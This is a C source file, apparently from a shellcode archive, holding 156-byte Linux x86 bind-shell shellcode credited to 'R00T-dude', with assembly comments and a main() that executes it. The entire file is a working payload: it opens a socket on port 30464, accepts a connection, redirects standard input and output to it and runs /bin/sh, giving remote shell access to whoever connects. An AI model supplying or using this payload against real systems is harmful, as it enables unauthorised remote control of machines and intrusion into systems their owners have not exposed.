/*
        LINUX SHELLCODE 
        156 byte shellcode that binds /bin/sh on port 30464.
        By R00T-dude 
*/      

char shellcode[] = 
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                	// xorl    %eax,%eax
"\x31\xdb"                	// xorl    %ebx,%ebx
"\x31\xc9"                	// xorl    %ecx,%ecx
"\x31\xd2"                	// xorl    %edx,%edx
"\xb0\x66"                	// movb    $0x66,%al
"\xb3\x01"                	// movb    $0x1,%bl
"\x51"                  	// pushl   %ecx
"\xb1\x06"                	// movb    $0x6,%cl
"\x51"                   	// pushl   %ecx
"\xb1\x01"                	// movb    $0x1,%cl
"\x51"                   	// pushl   %ecx
"\xb1\x02"                	// movb    $0x2,%cl
"\x51"                   	// pushl   %ecx
"\x8d\x0c\x24"             	// leal    (%esp),%ecx
"\xcd\x80"                	// int     $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"               	// movb    $0x2,%bl
"\xb1\x02"                	// movb    $0x2,%cl
"\x31\xc9"                	// xorl    %ecx,%ecx
"\x51"                   	// pushl   %ecx
"\x51"                   	// pushl   %ecx
"\x51"                   	// pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"             	// addb    $0x77,%cl
"\x66\x51"                	// pushl   %cx
"\xb1\x02"                	// movb    $0x2,%cl
"\x66\x51"                	// pushw   %cx
"\x8d\x0c\x24"             	// leal    (%esp),%ecx
"\xb2\x10"                	// movb    $0x10,%dl
"\x52"                   	// pushl   %edx
"\x51"                   	// pushl   %ecx
"\x50"                   	// pushl   %eax
"\x8d\x0c\x24"             	// leal    (%esp),%ecx
"\x89\xc2"                	// movl    %eax,%edx
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x66"                	// movb    $0x66,%al
"\xcd\x80"                	// int     $0x80

/* listen(fd, 1) */
"\xb3\x01"                	// movb    $0x1,%bl
"\x53"                   	// pushl   %ebx
"\x52"                   	// pushl   %edx
"\x8d\x0c\x24"             	// leal    (%esp),%ecx
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x66"                	// movb    $0x66,%al
"\x80\xc3\x03"             	// addb    $0x3,%bl
"\xcd\x80"                	// int     $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                	// xorl    %eax,%eax
"\x50"                   	// pushl   %eax
"\x50"                   	// pushl   %eax
"\x52"                   	// pushl   %edx
"\x8d\x0c\x24"             	// leal    (%esp),%ecx
"\xb3\x05"                	// movl    $0x5,%bl
"\xb0\x66"                	// movl    $0x66,%al
"\xcd\x80"                	// int     $0x80

/* dup2(cli, 0) */
"\x89\xc3"                	// movl    %eax,%ebx
"\x31\xc9"                	// xorl    %ecx,%ecx
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x3f"                	// movb    $0x3f,%al
"\xcd\x80"                	// int     $0x80

/* dup2(cli, 1) */
"\x41"                   	// inc     %ecx
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x3f"                	// movl    $0x3f,%al
"\xcd\x80"                	// int     $0x80

/* dup2(cli, 2) */
"\x41"                   	// inc     %ecx
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x3f"                	// movb    $0x3f,%al
"\xcd\x80"                	// int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                	// xorl    %ebx,%ebx
"\x53"                   	// pushl   %ebx
"\x68\x6e\x2f\x73\x68"       	// pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"       	// pushl   $0x69622f2f
"\x89\xe3"                	// movl    %esp,%ebx
"\x8d\x54\x24\x08"          	// leal    0x8(%esp),%edx
"\x31\xc9"                	// xorl    %ecx,%ecx
"\x51"                   	// pushl   %ecx
"\x53"                   	// pushl   %ebx
"\x8d\x0c\x24"             	// leal    (%esp),%ecx
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x0b"                	// movb    $0xb,%al
"\xcd\x80"                	// int     $0x80

/* exit(%ebx) */
"\x31\xc0"                	// xorl    %eax,%eax
"\xb0\x01"                	// movb    $0x1,%al
"\xcd\x80";                	// int     $0x80

int main(void)
{
	void (*funct)();
	(long) funct = &shellcode; 
	funct(); 
}